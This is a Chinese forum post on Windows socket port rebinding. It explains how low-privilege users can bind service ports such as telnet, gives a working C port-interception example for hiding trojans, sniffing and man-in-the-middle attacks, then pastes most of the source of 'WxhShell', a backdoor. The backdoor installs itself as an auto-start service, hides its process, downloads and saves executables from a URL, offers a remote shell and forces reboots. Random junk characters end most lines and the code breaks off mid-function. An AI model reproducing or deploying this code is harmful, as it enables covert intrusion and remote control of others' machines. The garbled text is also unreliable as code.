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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  $M|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y|~+bKa  
90UZ\{">  
  saddr.sin_family = AF_INET; CZw]@2/JuQ  
`XrF ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :EV*8{:aLU  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n>W*y|UJ  
4x"9Wr=}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^~7ouA  
9z kRwrQ  
  这意味着什么?意味着可以进行如下的攻击: f]48>LRE8  
Eh&-b6:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~zhP[qA})  
5aJd:36I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) % 9} ?*U  
AI#.G7'O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "I0F"nQ  
XU|>SOR@z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FgnPh%[u  
"-R19SpJKh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0$=w8tP)  
@@d6,=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &*# Obv  
W[t0hbV w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1h#e-Oyff  
L)X[$:  
  #include bPVQ-  
  #include v/x~L$[  
  #include >,a$)z  
  #include    <g1=jG:7k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &n~v;M  
  int main() /&+*X)#v  
  { 8 t`lRWJ  
  WORD wVersionRequested; 7& 'p"hF  
  DWORD ret; 8 DPn5E#M1  
  WSADATA wsaData; HwZ"l31  
  BOOL val; 1C+d&U  
  SOCKADDR_IN saddr; Z7dyPR  
  SOCKADDR_IN scaddr; Q/`W[Et  
  int err; OCEhwB0  
  SOCKET s; N~tq ]  
  SOCKET sc; ;VS$xnZ  
  int caddsize; mOfTq] @B  
  HANDLE mt; [Zne19/  
  DWORD tid;   =XFyEt  
  wVersionRequested = MAKEWORD( 2, 2 ); :%>TM/E N  
  err = WSAStartup( wVersionRequested, &wsaData ); d8.A8<wUr  
  if ( err != 0 ) { ~PyZh5x  
  printf("error!WSAStartup failed!\n"); A5go)~x\  
  return -1; '+v[z=.8]  
  } 98XlcI#  
  saddr.sin_family = AF_INET; IsiBn(1Z  
   kK/( [!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kp>fOe'KW  
K#LDmC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FK~*X3'  
  saddr.sin_port = htons(23); 8 `}I]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ru@ { b`  
  { -8Hv3J'=  
  printf("error!socket failed!\n"); ffR<G&"n~b  
  return -1; z!aU85y  
  } nrKir  
  val = TRUE; }///k]_Sh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ){4!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X+QoO=02LR  
  { %+@<T<>J<k  
  printf("error!setsockopt failed!\n"); EIF"{,m  
  return -1; 6cX Z3;a  
  } "f:_(np,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ou{VDE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wL[{6wL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m1Xc3=Y  
KJ cuZ."wX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FD/=uIXH2  
  { Qrw:Bva)  
  ret=GetLastError(); eFC~&L;  
  printf("error!bind failed!\n"); X#Hl<d2  
  return -1; `\yQn7 Oq  
  } Qv]>L4PO  
  listen(s,2); _2X6c,  
  while(1) *_@$ "9  
  { X3m)  
  caddsize = sizeof(scaddr); xE- _Fv9  
  //接受连接请求 '?1g_C QsS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $0*D7P^8  
  if(sc!=INVALID_SOCKET) <Aqo[']  
  { e\.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r*UE>_3J  
  if(mt==NULL) `t>:i!s/  
  { X*t2h3 "}  
  printf("Thread Creat Failed!\n"); -nqq;|%  
  break; u1`JvfLrL  
  } G UK %R C8  
  } auAwZi/  
  CloseHandle(mt); |!L0X@>  
  } o]<J&<WM  
  closesocket(s); Dlg9PyQ  
  WSACleanup(); c~u91h?  
  return 0; !M}ZK(  
  }   dH)\zCt  
  DWORD WINAPI ClientThread(LPVOID lpParam) IHv>V9yiG  
  { k,61Va  
  SOCKET ss = (SOCKET)lpParam; 6*:U1{Gl)  
  SOCKET sc; $:D\yZ,  
  unsigned char buf[4096]; >,x``-  
  SOCKADDR_IN saddr; lJt?0;gn  
  long num; 814cCrr,o  
  DWORD val; Bi7&yS5V  
  DWORD ret; 5=Il2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7`tJ/xtMy;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EzU3'x  
  saddr.sin_family = AF_INET; vf-8DB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @PV3G KJ  
  saddr.sin_port = htons(23); Mp06A.j[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^e--4B9|  
  { %[on.Q'1]2  
  printf("error!socket failed!\n"); iN1_ T  
  return -1; _Uhl4Mh  
  } 8;O/x  
  val = 100; 3cc;BWvM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !-4VGt&c,  
  { ~0rvrDDg  
  ret = GetLastError(); 0(Hzh?t_  
  return -1; NXOcsdcZu  
  } ;)z+dd#3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *2 ~"%"C  
  { *fI\|%K  
  ret = GetLastError(); n( zzH  
  return -1; iUlSRfrC$#  
  } q^6l`JJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x!fgZr{  
  { Esf\Bo"  
  printf("error!socket connect failed!\n"); EP{/]T  
  closesocket(sc); (#nB90E{*  
  closesocket(ss); M:oZk&cs  
  return -1; f=- R<l  
  } /|@~:5R5H  
  while(1) "Fz1:VV&  
  { ohi0_mBz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c9Q_Qr0'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .gY=<bG/fA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2:&L|;  
  num = recv(ss,buf,4096,0); xXCsJ9]  
  if(num>0) ne%(`XY{Q]  
  send(sc,buf,num,0); z\>ZgRi~n  
  else if(num==0) Gm=e;X;r  
  break; ^M+aQg%  
  num = recv(sc,buf,4096,0); 0P;\ :-&p  
  if(num>0) )B"E+Q'h{7  
  send(ss,buf,num,0); Tj6kCB  
  else if(num==0) p5J!j I=  
  break; h]&o)%{4  
  } _7 ^:1i~:.  
  closesocket(ss); p MR4]G  
  closesocket(sc); " :V@AT  
  return 0 ; }brBhe8a  
  } dte-2?%~j  
f |NXibmP  
,,G'Zur7  
========================================================== s3=sl WY=  
-fOBM 4  
下边附上一个代码,,WXhSHELL @ X5#?  
_z>%h>L|g  
========================================================== )gV @6w  
T1;>qgp4b  
#include "stdafx.h" u56F;y  
1i;Cw/mr  
#include <stdio.h> zN/nKj: Q  
#include <string.h> B^/(wHBp  
#include <windows.h> R,8T t!n  
#include <winsock2.h> PsBLAr\ah  
#include <winsvc.h> x[mh^V5ld  
#include <urlmon.h> -m$2"_  
.dj}y jd]f  
#pragma comment (lib, "Ws2_32.lib") [^gb6W9Y  
#pragma comment (lib, "urlmon.lib") o90[,  
N'Vj& DWC  
#define MAX_USER   100 // 最大客户端连接数 I7W?}bR*6  
#define BUF_SOCK   200 // sock buffer m,&2s-v  
#define KEY_BUFF   255 // 输入 buffer *S'?u_Y7  
h$p}/A  
#define REBOOT     0   // 重启 oz7=1;r  
#define SHUTDOWN   1   // 关机 q oEZ>  
.x1.`Y   
#define DEF_PORT   5000 // 监听端口 tg7QX/KX  
G$2Pny<!  
#define REG_LEN     16   // 注册表键长度 9/{ 8Y&  
#define SVC_LEN     80   // NT服务名长度 A @e!~  
Uurpho_~  
// 从dll定义API h{^MdYJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Rn*)D9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @_?Uowc8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zKThM#.Wa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #)4p ,H  
y0'WB`hNQ  
// wxhshell配置信息 I(<Trn  
struct WSCFG { 'N`x@(  
  int ws_port;         // 监听端口 !w/]V{9`X  
  char ws_passstr[REG_LEN]; // 口令 =69sWcC8  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8L[\(~Zf  
  char ws_regname[REG_LEN]; // 注册表键名 DPfN*a-P(  
  char ws_svcname[REG_LEN]; // 服务名 ,nJCqX~ /G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $g\p)- aU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .2y @@g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9H2mA$2jnE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E,QD6<?[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AR c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VUD9ZyPw  
" s/ws  
}; 6t gq.XL^n  
a!.Y@o5Ku  
// default Wxhshell configuration k=X)ax t1  
struct WSCFG wscfg={DEF_PORT, z6fY_LL  
    "xuhuanlingzhe", yF-`f _  
    1, 3dgPP@7d$  
    "Wxhshell", pL: r\Y:R  
    "Wxhshell", <3x:nH @  
            "WxhShell Service", a..LbQQ  
    "Wrsky Windows CmdShell Service", 9{%/I   
    "Please Input Your Password: ", [-^xw1:  
  1, ;X+cS,h  
  "http://www.wrsky.com/wxhshell.exe", O7p=|F"  
  "Wxhshell.exe" oo1h"[  
    }; QN#tj$x  
K14v6d  
// 消息定义模块 +9M";'\c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \b#`Ahf`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jVna;o)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7?8+h  
char *msg_ws_ext="\n\rExit."; Ym 2Ac>I4  
char *msg_ws_end="\n\rQuit."; q-S#[I+g  
char *msg_ws_boot="\n\rReboot..."; tO3#kV\,  
char *msg_ws_poff="\n\rShutdown..."; IV%Rph>d  
char *msg_ws_down="\n\rSave to "; cDz^jC   
C1OiMb(:  
char *msg_ws_err="\n\rErr!"; @ ZN@EOM$+  
char *msg_ws_ok="\n\rOK!"; +ijxv  
2B+qS'OT  
char ExeFile[MAX_PATH]; T%E/k# )q  
int nUser = 0; H%{k.#O  
HANDLE handles[MAX_USER]; :bkmm,%O  
int OsIsNt; 7_J0[C!G  
}/jWa |)f  
SERVICE_STATUS       serviceStatus; gI/(hp3ob  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6UU<:KH  
0JW =RW  
// 函数声明 PB~ r7O]  
int Install(void); ak{XLzn  
int Uninstall(void); 3~Ll<8fv  
int DownloadFile(char *sURL, SOCKET wsh); ~DS.b-E  
int Boot(int flag); v3wq-  
void HideProc(void); | g"K7XfM4  
int GetOsVer(void); biRkq c;  
int Wxhshell(SOCKET wsl); ADA}_|O  
void TalkWithClient(void *cs); CW FE{  
int CmdShell(SOCKET sock); ),2|TlQ  
int StartFromService(void); ,M$h3B\;r  
int StartWxhshell(LPSTR lpCmdLine); FLIU}doc  
'ZAIe7i&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Oi':OQG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); whFJ]  
4ZkaH(a1  
// 数据结构和表定义 :mt<]Oy3  
SERVICE_TABLE_ENTRY DispatchTable[] = i"mQ  
{ sAnb   
{wscfg.ws_svcname, NTServiceMain}, s%G%s,d  
{NULL, NULL} &d]@$4u$;  
}; w Ju9.  
|Z8Eu0RSb  
// 自我安装 (IIZvCek  
int Install(void) &g]s@S|%  
{ =&m;5R  
  char svExeFile[MAX_PATH]; [EK@f,iM  
  HKEY key; 83VFBY2q  
  strcpy(svExeFile,ExeFile); @Thrizh  
Q'YakEv >=  
// 如果是win9x系统,修改注册表设为自启动 r(rT.D&  
if(!OsIsNt) { BE!l{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SeLFubs_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *a-KQw  
  RegCloseKey(key); %q6I-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v`U;.W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >` u8(  
  RegCloseKey(key); 0 qW"b`9R  
  return 0; ,o}CBB! k  
    } 8[#EC3  
  } U[z2{\  
} f<y3/jl4  
else { Uy@:-NC)kn  
z`,dEGfh^  
// 如果是NT以上系统,安装为系统服务 j.c{%UYj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D'#,%4P,e\  
if (schSCManager!=0) `rV -,-r@  
{ ^?|d< J:{  
  SC_HANDLE schService = CreateService bk]g}s  
  ( E`]un.  
  schSCManager, 7Dw. 9EQ  
  wscfg.ws_svcname, SAE'y2B*  
  wscfg.ws_svcdisp, +`!>lo{X  
  SERVICE_ALL_ACCESS, j|{ n?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Ha(i [d  
  SERVICE_AUTO_START, c=aZ[  
  SERVICE_ERROR_NORMAL, ): fu]s"  
  svExeFile, <v?2p{U%  
  NULL, 7cO1(yE#vr  
  NULL, }|)T<|Y;  
  NULL, *\*]:BIe&v  
  NULL, 2'Raj'2S4  
  NULL %g69kizoWi  
  ); 8Nx fYA  
  if (schService!=0) 0v``4z2Z  
  { fS p  
  CloseServiceHandle(schService); :_Iz( 2hV  
  CloseServiceHandle(schSCManager); X.ZG-TC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i O$ ?No  
  strcat(svExeFile,wscfg.ws_svcname); [7  t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =F_j})O5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ox@$ }  
  RegCloseKey(key); !E,|EdIr  
  return 0; 7/K'nA  
    } n*TKzn4E  
  } ~*`wRiUhis  
  CloseServiceHandle(schSCManager); O{Q+<fBC9  
} VBW][f  
} -b34Wz(  
IR32O,)  
return 1; {MUO25s02  
} {c7@`AV]  
M XuHA?  
// 自我卸载 .=) *Qx+  
int Uninstall(void) ONUa7  
{ j"+6aD/lv  
  HKEY key; :*-O;Yw?S@  
!uA'0U?ky  
if(!OsIsNt) { c?6(mU\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +~7[T/v+n  
  RegDeleteValue(key,wscfg.ws_regname); [8vqw(2Tm(  
  RegCloseKey(key); =FM rVE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7 ++c<|p  
  RegDeleteValue(key,wscfg.ws_regname); b,47 EJ}  
  RegCloseKey(key); HUbXJsSP  
  return 0; 5!jt^i]O  
  } 6=x]20  
} M&e=LV  
} 21] K7  
else { '1d0 *5+6k  
Hi U/fi`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Rf{v5  
if (schSCManager!=0) 4-9cp=\PE  
{ g@ ]1H41  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d <zD@ z  
  if (schService!=0) BWr!K5w>i  
  { B)dd6R>8  
  if(DeleteService(schService)!=0) { S+?*l4QK  
  CloseServiceHandle(schService); |BO5<`&I  
  CloseServiceHandle(schSCManager); >b~Q%{1  
  return 0; 7 ,Q7`}gBf  
  } H~:g =Zw  
  CloseServiceHandle(schService); }ee3'LUPX  
  } j`_Z`eG  
  CloseServiceHandle(schSCManager); iztgk/(+G  
} 89W8cJ$yW  
} >n1UK5QD  
|=W>4>  
return 1; [P]M)vJ**  
} 3Qp6$m  
c~6ywuq+M`  
// 从指定url下载文件 I,V'J|=j  
int DownloadFile(char *sURL, SOCKET wsh) bHzZ4i  
{ [3qJUJM  
  HRESULT hr; >f;oY9 {m  
char seps[]= "/"; lxBcO/  
char *token; |r4&@)  
char *file; ,pW^>J  
char myURL[MAX_PATH]; {@Z*.G^  
char myFILE[MAX_PATH]; $$R- >  
8:]5H}H i  
strcpy(myURL,sURL); lg@q} ]1  
  token=strtok(myURL,seps); s yb$%  
  while(token!=NULL) Q?'Ax"$D  
  { bf[l4$3k  
    file=token; MN>U jFA  
  token=strtok(NULL,seps); |+=ctpx9&  
  } o Y<vKs^  
clr]gib  
GetCurrentDirectory(MAX_PATH,myFILE); Z eWst w7  
strcat(myFILE, "\\"); Ge24Lp;Y 6  
strcat(myFILE, file); o/!a7>xO4  
  send(wsh,myFILE,strlen(myFILE),0); C%P.`NxA  
send(wsh,"...",3,0); Nt[&rO3s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0IsnG?"  
  if(hr==S_OK) 54 f?YR  
return 0; /FcwsD\=$  
else r?`7i'  
return 1; jQ(%LYX$  
[Vou G{  
} x/ P\qI  
Fd._D"  
// 系统电源模块 {[+Q\<  
int Boot(int flag) sB01 QVx47  
{ O^R ^Aw  
  HANDLE hToken; 8)J,jh9q  
  TOKEN_PRIVILEGES tkp; XsMETl"Av4  
=I+5sCF{g  
  if(OsIsNt) { RP wP4Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X<H+Z2d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~>}7+p ?;  
    tkp.PrivilegeCount = 1; fJY b)sN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B_%O6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w_q =mKu  
if(flag==REBOOT) { 1$"wN z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O[ ^zQA  
  return 0; EtcXzq>w  
} v2mqM5Z  
else { jF5oc   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L/O:V^1  
  return 0; yF^)H{yx  
} opCQ=G1  
  } AOCiIPw  
  else { dr4m}v.  
if(flag==REBOOT) { E+eC #!&w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _?>f9K$1  
  return 0; l3kBt-m  
} l`{JxVg  
else { Oin:5K)4-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r}t%DH  
  return 0; uTP4r  
} Y F W0  
} %W$?*Tm  
6r)qM)97  
return 1; 1;+(HB  
} q5~fU$ ,  
DFqVZ   
// win9x进程隐藏模块 {7FD-Q[tS  
void HideProc(void) O[&G6+  
{ Pe7% 9  
q.RW_t~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C6,W7M[c  
  if ( hKernel != NULL ) 1Q9e S&  
  { 79MB_Is]s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D5 ^WiQ<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %C*h/AW)'  
    FreeLibrary(hKernel); 9{{CNy p  
  } o=do L{ #  
&v_b7h  
return; {I"d"'h  
} <' b%  
HoKN<w  
// 获取操作系统版本 +JL"Z4b@R}  
int GetOsVer(void) g ??@~\Ov  
{ p:^;A/D  
  OSVERSIONINFO winfo; 5nG$6Hw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %g%#=a;]q  
  GetVersionEx(&winfo); 9=;ETLL "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,u<aKae  
  return 1; E+E.z?>S  
  else |Ok1E  
  return 0; uY=}w"Db  
} 7~ok*yGw  
Nc:>]  
// 客户端句柄模块 \9dC z;  
int Wxhshell(SOCKET wsl) 9#niMv9  
{ }!RFX)T  
  SOCKET wsh; ,LJX  
  struct sockaddr_in client; _p=O*$b.  
  DWORD myID; K)t+lJ  
}\!38{&  
  while(nUser<MAX_USER) C$$lJ=>  
{ [z`m`9Aq  
  int nSize=sizeof(client); }c*6|B@f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *HN0em  
  if(wsh==INVALID_SOCKET) return 1; P(za8l>  
|7l*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rF5O?<(  
if(handles[nUser]==0) nXqZkZE\  
  closesocket(wsh); R%N&Y~zH  
else d.uJ}=|  
  nUser++; P$i?%P~  
  } |^E# cI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U GJ# "9  
gb_k^wg~1'  
  return 0; j:{d'OV  
} 3?GEXO&,E  
YWPAc>uw,  
// 关闭 socket |>P`Gl]E  
void CloseIt(SOCKET wsh) NI136P  
{ hE>i~:~R  
closesocket(wsh); S_B;m1  
nUser--; <ib# PLRM  
ExitThread(0); kyc Z  
} f ^f{tOX  
n.$wW =  
// 客户端请求句柄 T!N,1"r  
void TalkWithClient(void *cs) nAJ<@a  
{ <w d+cPZQr  
kiFTx &gf  
  SOCKET wsh=(SOCKET)cs; sX,oJIt  
  char pwd[SVC_LEN]; e'uI~%$NJL  
  char cmd[KEY_BUFF]; ?gMxGH:B.&  
char chr[1]; v='h  
int i,j; 4#m"t?6!  
;F;`y),  
  while (nUser < MAX_USER) { \^+=vO;A  
)5U&^tJ  
if(wscfg.ws_passstr) { Dh|8$(Jt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =@>[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XZeZqBr  
  //ZeroMemory(pwd,KEY_BUFF); Td5;bg6Qy  
      i=0; VL/%D*  
  while(i<SVC_LEN) { 0g@ 8x_3  
c91rc>  
  // 设置超时 5M2G ;o  
  fd_set FdRead; K?q1I<94  
  struct timeval TimeOut; S 5Q$dAL  
  FD_ZERO(&FdRead); {uRnZ/m  
  FD_SET(wsh,&FdRead); Py[Z9KLX  
  TimeOut.tv_sec=8; Y&k6Xhuao  
  TimeOut.tv_usec=0; \$Nx`d aFi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iS^IqS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b_]14 v  
l1\/ `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MhZT<6  
  pwd=chr[0]; "1H?1"w~  
  if(chr[0]==0xd || chr[0]==0xa) { nkp!kqJ09  
  pwd=0; u"\HBbBx  
  break; ;w,g|=RQ  
  } f`?Y+nu}  
  i++; ]kuMzTH  
    } P2h}3%cJq  
ozbu|9 +v  
  // 如果是非法用户,关闭 socket v(\kSlJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^t=Hl  
} mT8($KQ  
fRe$}KX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0k5;Qf6A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sW B;?7P  
{<a(1#{  
while(1) { V Z[[zYe  
99}n %(V  
  ZeroMemory(cmd,KEY_BUFF); f_r1(o 5:Y  
z&o"K\y\  
      // 自动支持客户端 telnet标准   ;9pOtr  
  j=0; ~B%=g)w  
  while(j<KEY_BUFF) { VrA9}"1x~*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ qc 8;"@  
  cmd[j]=chr[0]; 33_YZOy^j  
  if(chr[0]==0xa || chr[0]==0xd) { 6<+R55  
  cmd[j]=0; Oc;0*v[I  
  break; n)w@\ Uy c  
  } 3 [lF  
  j++; -< jb>8  
    } qh/q<  
*K6 V$_{S  
  // 下载文件 f$mfY6v  
  if(strstr(cmd,"http://")) { %Lexu)odW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 50oNN+; =R  
  if(DownloadFile(cmd,wsh))  ] }XK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rHu  #  
  else h1Ca9Z_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *s/sF@8<X  
  } =j 6amk-  
  else { AAkdwo  
@ba5iIt  
    switch(cmd[0]) {  s%Q pb{  
  ^IuHc_  
  // 帮助 >+=)Q,|R  
  case '?': { \eE0Rnaf-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2+Z2`k]AC  
    break; iKa}@U  
  } tnz BNW8  
  // 安装 SeBbI&Ju  
  case 'i': { :<w3.(Z  
    if(Install()) <L@0w8i`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6 DN:!&  
    else ` !HGM>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LMWcF'l  
    break; 9}Tf9>qP>M  
    } '2a}1?  
  // 卸载 t$8f:*6(*  
  case 'r': { *usfJ-  
    if(Uninstall()) P@:#NU[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr_{Z@IpU  
    else e =Vu;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C_?L$3 U0  
    break; ]`&EB~K&NY  
    } *A`hKx  
  // 显示 wxhshell 所在路径 ho2o/>Ef3  
  case 'p': { Z.$ncP0s  
    char svExeFile[MAX_PATH];  &(\z  
    strcpy(svExeFile,"\n\r"); 3=1aMQ  
      strcat(svExeFile,ExeFile); 6#O n .Q  
        send(wsh,svExeFile,strlen(svExeFile),0); LbtcZ)D!  
    break; mCe,(/>l+  
    } v8,+|+3  
  // 重启 *KF:  
  case 'b': { oYnA 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OB8fFd  
    if(Boot(REBOOT)) 'MPt K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8zGe5Dn9  
    else { 'i_od|19~h  
    closesocket(wsh);  "/6(  
    ExitThread(0); X%xX3e'  
    } ; )O)\__"-  
    break; B=#rp*vwL  
    } l/`<iG%  
  // 关机 h{S';/=8  
  case 'd': { QfB \h[A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f3s0.G#l  
